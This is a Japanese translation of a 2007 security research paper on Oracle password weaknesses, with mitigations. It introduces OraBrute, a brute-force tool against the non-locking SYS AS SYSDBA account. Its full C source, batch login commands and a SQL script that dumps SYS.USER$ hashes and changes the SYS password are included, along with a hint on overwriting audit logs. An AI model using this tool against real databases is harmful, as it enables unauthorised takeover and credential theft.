

# Oracleパスワード と OraBrute

Paul Wright [paul.wright@ngssoftware.com]

2007年1月16日



An NGSSoftware Insight Security Research (NISR) Publication  
©2007 Next Generation Security Software Ltd  
<http://www.ngssoftware.com>

# 目次

1.0	はじめに.....	- 3 -
2.0	アルゴリズムの脆弱性.....	- 3 -
3.0	クラッカーの標的となるOracleパスワード.....	- 3 -
4.0	レインボーテーブルへの対処.....	- 4 -
5.0	未解決のOracleパスワード問題.....	- 4 -
5.1	Unicodeユーザー名のソルト.....	- 4 -
5.2	パケットキャプチャとハッシュから平文パスワードを取得する.....	- 5 -
5.3	SYS AS SYDBAでロックアウトしない.....	- 5 -
6.0	SYS AS SYSDBA総当たり攻撃 (OraBrute).....	- 6 -
7.0	OraBruteに対して安全性を保つには?.....	- 7 -
8.0	結論.....	- 7 -
9.0	リファレンス.....	- 7 -
10.0	謝辞.....	- 8 -
11.0	OraBrute Version 2.0のためのソースコード.....	- 8 -

---

## 1.0 はじめに

---

この文書では、Oracleのパスワードの脆弱性、および現在の多数のセキュリティ上の問題に関連して、それがどのように実装されているかについて述べる。この文書の末尾では、Oracleの権限のもっとも高いアカウントでこの脆弱性を悪用するツールを紹介する。

---

## 2.0 アルゴリズムの脆弱性

---

現在、パスワードはさまざまな意味でOracleデータベースの問題の象徴となっている。最初の問題は、パスワードハッシュのソルトがユーザー名であるため、パスワードアルゴリズムに限界があることである。これは、別のOracleデータベース上にある2人のユーザーのユーザー名とパスワードが同じであれば、ハッシュも同じになることを意味している。これらのハッシュはOracle内のSYS.USER\$というテーブルに格納されており、DBA\_USERSなど多数のビューを経由してアクセスすることができる。

このアルゴリズムについては、David LitchfieldとAaron Newmanによって書かれた、『Special Ops』[1]のOracleに関する章のFAQで説明されている。このアルゴリズムの作成者Bob Baldwinによる最初の投稿は、以下のURLにある：

<http://groups.google.com/group/comp.security.misc/msg/83ae557a977fb6ed?output=gplain>

2つめの問題は、標準のOracleパスワードの文字セットが制限されていることである。通常のOracleパスワードに使用できるのは、英数字、アンダースコア“\_”、ドル記号“\$”、シャープ記号“#”のみである。パスワードの文字数は最大30文字で、全部で39（26+10+3）の30乗とおりの組み合わせになるが、次の理由でそれよりもやや少なくなる：

- スクリプトのエラーを避けるため、パスワードに“\$”と“#”を使用しないことが推奨されている。
- パスワードの1文字目に“\_”、“\$”、“#”、または数字を使用することはできない。
- パスワードに、SELECTなど、Oracle/SQLのキーワードを使用することはできない。

重要なのは、Oracleでよく使用される8文字のパスワードでは十分なバリエーションが得られず、また本当の意味でのソルトが存在しないため、Oracleのパスワードはクラッカーの標的になりやすいということである。

---

## 3.0 クラッカーの標的となるOracleパスワード

---

よく利用されるパスワードクラックツール“John The Ripper”[2]（JTR）には、Oracleのパスワードをクラックできるパッチが提供されている。パッチは、<http://www.banquise.net/misc/patch-john.html>から入手できる。

このパッチは、ある程度頼りになるが、複雑なパスワードの場合は動作が遅い。また、x86上では動作が断続的になる。パスワードをテストするプロセスは、候補となるパスワードのハッシュをあらかじめ計算しておけば高速化できる。平文パスワードに対する暗号化ハッシュをあらかじめ計算した対照表は、よく「レインボーテーブル」と呼ばれる。ソルトにユーザー名が使われているので、ユーザー名ごとにレインボーテーブルが必要となる。Oracleのレインボーテーブルを簡単に作成するレインボークラック用の別のパッチ[3]が書かれているため、このようなレインボーテーブルの作成は容易になっている。

<http://lists.grok.org.uk/pipermail/full-disclosure/2006-September/049569.html>

現在、多数のOracleパスワード用レインボーテーブルプロジェクトが開発を進めており、デフォルトのOracleユーザー用のレインボーテーブルの多くはすでに作成されている。またハッシュとユーザー名の組み合わせを平文のパスワードに変換するサービスがすでに存

在する。例：<http://www.rainbowcrack-online.com/>。Oracleのパスワード実装の脆弱性は、WrightとCidによるSANSの論文[4]でもすでに論じられている。

---

## 4.0 レインボーテーブルへの対処

---

これが意味することは、ユーザーはパスワードをクラックされにくくする必要があるということであるが、Oracleの場合、パスワードを二重引用符でくくることを許可するようになれば文字の選択肢が広がって、以下の文字も使えるようになるため、クラックされにくくすることは容易である。

```
% ^ @ $ * ( ) _ + ~ ` - = [ { } ] ¥ | ; : ' , < . >
```

(この件に関するTom Kyteの掲示板での議論“Ask Tom”[5] に謝意を表する)

そうすれば、以下のようなパスワードを設定することができるだろう。

```
SQL> alter user sys identified by "%^@$*( )_+~`-=[{}]\|;:'.>";
User altered
```

これにより、現在のレインボーテーブルやJTRの能力を超える組み合わせのパスワードが可能となる。

しかし、次の章で示すように、まだいくつかの問題が存在する。

---

## 5.0 未解決のOracleパスワード問題

---

Oracleパスワードの実装に関する現在未解決の問題には以下のようなものがある。

### 5.1 Unicodeユーザー名のソルト

ユーザー名がUnicodeの場合、パスワードアルゴリズムに与えるユーザー名ソルトが、“?”だけの文字列になってしまう問題である。そのため、ソルトを付け加える仕組みがほとんど役に立たなくなり、OracleデータベースのUnicodeユーザー名に対するレインボーテーブルの生成はずっと容易になってしまう。これは、NGSSoftwareの開発チームが日本語Oracleデータベースを開発する際、つねに問題となってきたことである。

変数NLS\_LANGは、(そのOSに対して)使用する地域に設定する必要がある。MetalinkでのOracleサポート[6]によると、NLS\_LANGは以下のように設定する必要がある。

```
NLS_LANG=JAPANESE_JAPAN.JA16EUC
```

このように設定してあれば、ユーザーはユーザー名を日本語で設定することができない。そのため、ハッシュの計算アルゴリズムが日本語文字列を正しく処理しない問題を回避できる。主な問題は、デフォルトではこの変数が設定されておらず、DBAも設定しないことが多いため、パスワードの安全性が低下してしまうことである。上記の変数は、この問題を回避するために設定する必要がある。

## 5.2 パケットキャプチャとハッシュから平文パスワードを取得する

2006年11月27日、David Litchfield はDBSECメーリングリストへの投稿[7]で、パスワードハッシュと認証パケットのキャプチャデータの組み合わせからユーザーのパスワードを取得する方法を、Cのコードを使って示した。

きわめて多くの現場のDBAが、セキュリティを向上させるおもな手段として引用符でくくられた複雑なパスワードに依存しているため、この調査の結果は重要である。レインボーテーブルについての現在の見解は、ユーザー名が既知の単純なパスワードは打ちのめすことができるが、引用符でくくられた特殊文字を含む複雑なパスワードは安全である、というものであった。しかしDavid Litchfieldによって書かれた方法でパスワードを導き出せるようになったため、これは正しくなくなってしまった。

パスワードハッシュにアクセスできる手段はorapwdユーティリティなど多数存在するし、オペレーティングシステムレベルでパスワードハッシュにアクセスできるファイルも多数存在する。これらはデフォルトの設定では安全でなく、いずれもハッシュを取得することができる。Webアプリケーション経由のSQLインジェクションや、DEFINER権限を持つPLパッケージ経由の権限上昇によってパスワードハッシュに不正アクセスするのが、よく使われる手段である。(DBSNMPのデフォルトのパスワードでの) DBSNMPのように、平文パスワードにアクセスすることが好ましくないような暗号化ハッシュにアクセスできるユーザーアカウントも存在する。DBSNMPはSELECT ANY CATALOGシステム権限を与えられており、Intelligent Agent機能の一部となっている。Intelligent Agentに依存するユーザーはいくつか存在するが、ハッシュにアクセスできるユーザーは、おそらくだれもがSQL\*PLUSにログオンするローカルネットワークパケットをキャプチャできる。先に述べたCコードを使えば、この2つからパスワードをすぐに導きだせるので、DBSNMPアカウントは安全性をいっそう高める必要があるだろう。

DBAの正当なパスワードの防御について考慮しなければならないということは、DBAのセキュリティ方針に大きな変更を迫ることになる。SYS.USER\$テーブルやネットワーク上での情報交換の安全性確保に周到な注意が必要となるだろう。つまり、権限の高いSQL\*PLUS接続にはSSHが必要となるだろう。この問題は、パスワードがどんなに複雑でも関係がない。要するに、防御策を立案する際、USER\$のハッシュは平文に近いとみなしたほうがよいということだ。David Litchfieldの『The Oracle Hacker's Handbook』[8]は、この技術について詳しく説明している。

## 5.3 SYS AS SYDBAでロックアウトしない

もちろんOracle DBAの多くは、DBSNMPなどデフォルトのアカウントのパスワードを変更しているだろう。もしデフォルトのアカウントが、パスワードを新しくしてまだ存在しているなら、攻撃者はデータベースサーバーのリスナーに接続し、総当たり攻撃でパスワードを調べようとするかもしれない。ここで問題となるのは、デフォルトのロックアウト回数は各アカウントにつき10回で、10回以上ログインに失敗するとアカウントがロックされることである。10回以内にパスワードを割り出すことは、不可能なはずだ。

しかし、10回ログインに失敗してもロックアウトしないアカウントが1つ存在する。それはAS SYSDBAでログインするSYSアカウントである。

これはOracleデータベースでもっとも権限の高いアカウントである。データベースの開始や終了を含む、あらゆることを実行できる(SYS権限でログインした場合には実行できない)。SYSがロックされても、SYS AS SYSDBAならDBにアクセスできる。筆者の経験では、すでにSYSアカウントをロックさせてしまい、SYSアカウントにじゅうぶんに複雑なパスワードを設定していないDBAは多い。ただし、SYS AS SYSDBAとしてログオンすればロックされない。このおかげで、セキュリティ監査人は時間的に効率的な方法でSYSア

アカウントのセキュリティをチェックできる。その代わりに、攻撃者にとってSYS AS SYSDBAは、認証なしにリモートから最大限の権限を得られる、見過ごされていることの多い手段である。攻撃者はホストのポートスキャンを行ってOracleポートを探し出し、NGS SquirrelLを実行し、Oracle SIDを割り出す機能を使ってSIDを取得する。そして、SYS AS SYSDBAアカウントに総当たり攻撃を実行することもありうる。このアカウントへのリモートからの総当たり攻撃の自動化について、この文書の残りで述べる。

以下は、SYS AS SYSDBAでログオンするために実行する、SQL\*PLUSのログオン文字列である。

```
sys/password1@orcl as sysdba      or without a tnsnames.ora
sys/password1@192.168.1.10:1521/orcl as sysdba
We can collect 30 of these logon statements into a batch file as
below.
sqlplus -S -L "sys/password1@orcl as sysdba"@selectpassword.sql
sqlplus -S -L "sys/password2@orcl as sysdba"@selectpassword.sql
sqlplus -S -L "sys/password3@orcl as sysdba"@selectpassword.sql
sqlplus -S -L "sys/password4@orcl as sysdba"@selectpassword.sql
etc
selectpassword.sql contents are as follows.
spool passwords.txt
select username, password from sys.user$;
alter user sys identified by password;
spool off
```

この簡単なテストで、10gR2のデフォルト設定ではSYS AS SYSDBAでロックアウトは生じず、総当たり攻撃が可能であることが実証できる。このアカウントはもっとも強力なアカウントであるため懸念が生じる。

---

## 6.0 SYS AS SYSDBA総当たり攻撃 ~OraBrute

---

興味深いことに、SYS AS SYSDBAはODBCやJDBC経由でのアクセスが容易でなく、一覧表のパスワード変数を使用して自動的に総当たり攻撃してログインを試みるプログラムを組む上で障害となる。この文書では、SYS AS SYSDBAアカウントを必要なだけ総当たり攻撃するOraBruteというコマンドラインツールを紹介する。OraBruteは単純で早いので、Intel 1.6GHzのノートパソコンで毎秒10回攻撃を仕掛けることができる。OraBruteはアカウントの総当たり攻撃に成功すると、割り出したパスワードを標準出力に出力すると同時に、その時点でSYS.USER\$テーブルをローカルファイルにダンプして終了する。パスワードを覚えやすくするために、単語と数字を組み合わせることがよくある。したがって、password.txtの先頭に状況にふさわしいものを置けば、ほとんどの場合処理が早くなる。OraBruteには、初期状態のパスワードリストが含まれている。<millisecondwait>パラメータを設定して、OraBruteのCのsleep関数を10-100ミリ秒に縮めることができる。この値は、ツールの処理を早めるためにネットワークの状況に合わせて調整する必要がある。さらに、別々のマシン上で複数のOraBruteのインスタンスを実行させれば、処理は等差級数的に速くなる。すなわち、たとえば同じアカウントに対して2つのまったく同じマシンで総当たり攻撃を行えば半分の時間で済む、といったことだ。1.6GHzのノートパソコン2台から同じリスナーに対して、1日平均200万とおりの異なるパスワードでSYS AS SYSDBAにログインを試行できる。OraBruteは、長期間にわたって利用できることがわかっている。SYSアカウントがすでにロックされているDBAは複雑なSYSパスワードを設定しないかもしれないし、SYSパスワードの変更を最近行っていないかもしれないことを、再び思い起こす必要がある。OraBruteは、正しいSYSパスワードを見つけ出したらそのパスワードのハッシュをローカルにダンプし、ユーザーが必要とする何らかのSQL、たとえばSYS

パスワードを知っているパスワードに変更する処理などをselectpassword.sqlスクリプト経由で実行する。OraBruteの実行方法の詳細は、この文書の末尾に付した。攻撃者は特権的なアクセスを取得できたら、自分の痕跡を隠す必要があるだろう。Oracleは必須監査の一環として、ログイン成功の監査ログをOS上に残す。攻撃者はあとで、UTL\_FILEを使用して\$ORACLE\_HOME/rdbms/audit/audit.audファイル进行操作し、ファイルを上書きして痕跡を消すこともありうる[9]。

---

## 7.0 OraBruteに対して安全性を保つには?

---

OraBruteで例示したようなSYS AS SYSDBAアカウントへの総当たり攻撃の脅威に対して、安全性を保つ方法は多数存在する。

- AS SYSDBAでログインできるアカウントのパスワードに安全性の非常に高いもの、つまりパスワードを引用符でくくり、特殊文字を有効にした長いパスワード/パスフレーズを設定する。
- このパスワード設定プロセスをOraBruteで定期的に監査する。
- 初期化パラメータremote\_login\_passwordfileは、データベースへの権限の高い接続におけるパスワードファイルの使用を制御する。デフォルトではEXCLUSIVEに設定されている。このパラメータをNONEに設定し、OSの認証を使用したサーバーからの接続を除く、権限の高い接続を抑制する。(再起動)
- さらに、“alter system set audit\_sys\_operations=TRUE”(または、これと同等のもの)を実行し、  
LSNRCTL>set log\_status on  
を使ってリスナーのログをオフからオンに設定する。これらのログは、いずれ必要になったときにフォレンジック解析のために保管しておく価値がある。

---

## 8.0 結論

---

「なぜOracleはデフォルトのアカウントにログイン失敗のロックアウト機能を用意しているのに、もっとも重要なアカウントにはないのだろうか?」それはよい質問である。攻撃者が総当たり攻撃を試みてDBAがロックアウトされてしまわないようにという理由かもしれない。設計を大局的に見ると、DBAはOSDBAとしてOS経由でローカルにアクセスできるはずで、そうすればSYSアカウントのロックをはずせるはずであり、SYS AS SYSDBAのロックアウトは、DBAにとって最悪の事態というわけではないはずだ。Oracleはすでにパスワードアルゴリズムを大幅に変更することを計画しているらしいので、11gがこの設計上の問題をどのように扱うか興味深い。そろそろ、その時期に来ている。

OraBruteまたはこの文書についてのフィードバックは、paulw@ngsssoftware.comまで。

---

## 9.0 リファレンス

---

[1] Special OPS, Erik Pace Birkholz, Syngress Publishing, February 17, 2003  
ISBN-10: 1931836698

[2] John the Ripper by Solar Designer at <http://www.openwall.com/>

[3] Rainbow Crack Project <http://www.antsight.com/zsl/rainbowcrack/>

[4] Joshua Wright and Carlos Cid 2005

[http://www.sans.org/reading\\_room/special/index.php?id=oracle\\_pass](http://www.sans.org/reading_room/special/index.php?id=oracle_pass)

- [5] Thomas Kyte's "ASK TOM" Oracle helpdesk at <http://asktom.oracle.com/pls/asktom/>
- [6] Metalink article regarding regional environment variables.  
[http://www.oracle.com/technology/tech/oci/instantclient/releasenotes/ODBC\\_IC\\_ReleaseNotes.html](http://www.oracle.com/technology/tech/oci/instantclient/releasenotes/ODBC_IC_ReleaseNotes.html)
- [7] DBSEC mailing list at freelists.org  
<http://www.freelists.org/archives/dbsec/11-2006/msg00005.html>
- [8] The Oracle Hacker's Handbook, David Litchfield, Wiley and Sons, January 2007  
ISBN: 978-0-470-08022-1  
<http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0470080221.html>
- [9] Script to illustrate using UTL\_FILE to overwrite an OS file  
[http://www.0xdeadbeef.info/exploits/raptor\\_orafire.sql](http://www.0xdeadbeef.info/exploits/raptor_orafire.sql)
- [10] Oracle Forensics, Paul Wright, Rampant Techpress, May 2007  
[http://www.rampant-books.com/book\\_2007\\_1\\_oracle\\_forensics.htm](http://www.rampant-books.com/book_2007_1_oracle_forensics.htm)  
ISBN 0-9776715-2-6

---

## 10.0 謝辞

---

David Litchfield、Chris Anley、Rob Horton、John Heasman、Bill Grindlay、Alan Newson、David J Morgan、Peter Baker、Dominic Beecher、そしてNGSの開発チームのみなさんには、この文書およびOraBruteに関してご協力をいただいた。感謝。

---

## 11.0 OraBrute Version 2.0のためのソースコード

---

OraBrute => SYS AS SYSDBA総当たり攻撃の原理を実証するツール。

<http://www.ngssoftware.com/research/papers/oraclepasswords.zip>  
<http://www.ngssoftware.com/research/papers/oraclepasswords.pdf>

OraBruteの起動方法: `orabrute <hostip> <port> <sid> <millitimewait>`

例 `c:\>orabrute 10.1.1.166 1522 orcl 100`

OraBruteが `thepasswordsare.txt` というファイルを作成したら、SYSアカウントのパスワードのクラックは成功している。

このプログラムは、以下のSQLコードを含む`selectpassword.sql`のほか、Oracleクライアント、以下のCコードをコンパイルしたもの、パスワードリスト`password.txt`が必要である。

```
--selectpassword.sql:
spool thepasswordsare.txt
select name, password from sys.user$;
--alter user sys identified by password;
/
spool off
exit
```

以下のCコードを、`c:\>cl orabrute.cpp` としてコンパイルすること

```
#include "stdio.h"
#include "windows.h"
#include "strsafe.h"
```

```
char host[17];
char port[6];
char sid[31];
char password[31];
```

```

char millitimewait[6];
DWORD dwdmillitimewait;
char executecmd[4095];

int escape(char*dest, char*src)
{
    int idest = 0, isrc = 0 ;
    while(src[isrc])
    {
        if(src[isrc] == '\\')
        {
            dest[idest] = '\\\';
            idest ++;
        }
        dest[idest] = src[isrc];
        isrc ++;
        idest ++;
    }
    dest[idest]=0;
    return 1;
}

int main(int argc, char * argv[])
{
    SecureZeroMemory(host, sizeof( host ));
    SecureZeroMemory(port, sizeof( port ));
    SecureZeroMemory(sid, sizeof( sid ));
    SecureZeroMemory(password, sizeof( password ));
    SecureZeroMemory(millitimewait, sizeof( millitimewait ));

    FILE *pfile;
    UINT result;
    printf("Orabrute v 1.2 by Paul M. Wright, David J. Morgan and Chris Anley:\n orabrute
<hostip> <port> <sid> <millitimewait>");

    if(argc!=5)
    {
        printf("not enough arguments; command should be orabrute <hostip> <port> <sid>
<millitimewait>");
        return 0;
    }

    strncpy(host,argv[1],sizeof( host )-1);
    strncpy(port,argv[2],sizeof( port )-1);
    strncpy(sid,argv[3],sizeof( sid )-1);
    strncpy(millitimewait,argv[4],sizeof( millitimewait )-1);

    pfile=fopen("password.txt","rb");
    if(pfile!=NULL)
    {
        char buffer[4096];
        int numberofchars;
        dwdmillitimewait = atoi(millitimewait);
        do
        {
            numberofchars = 0;
            while( !feof(pfile) && ( numberofchars < sizeof( buffer ) - 1 ) )
            {
                buffer[numberofchars]=fgetc(pfile);

                if(buffer[numberofchars]=='\n' || buffer[numberofchars]==-1)
                {
                    break;
                }
                if(buffer[numberofchars]!='\r')
                    numberofchars++;
            }
            if (numberofchars<30)
                buffer[numberofchars]=0;
            else
                buffer[30]=0;

            if(strlen(buffer)>0)
            {
                char tmpbuffer[256];
                char tmphost[256];
                char tmpport[256];
                char tmpsid[256];

                escape(tmpbuffer, buffer);
                escape(tmphost, host);
                escape(tmpport, port);
                escape(tmpsid, sid);
            }
        }
    }
}

```

```

        StringCchPrintf(executeCmd, sizeof( executeCmd ) - 1, "sqlplus.exe
-S -L \"SYS/%s@%s:%s/%s\" as sysdba @selectpassword.sql", tmpbuffer, tmphost, tmpport,
tmpsid);

        printf("%s\n", executeCmd);
        result = WinExec(executeCmd, SW_SHOWNORMAL);
        Sleep(dwdmillitimetwait);
        FILE *poutfile;
        poutfile=fopen("thepasswordsare.txt", "r");
        if (poutfile != NULL)
        {
            char buffer[4096];
            size_t count ;
            count =fread(buffer,1,sizeof( buffer ) - 1,poutfile);
            fclose(poutfile);
            buffer[count]=0;
            printf("%s\n",buffer);
            printf("You will need to delete or move
thepasswordsare.txt file before running again.");
            return 0;
        }
    }
    }while(!feof(pfile));
    fclose(pfile);
}
return 0;
}
// EOF

```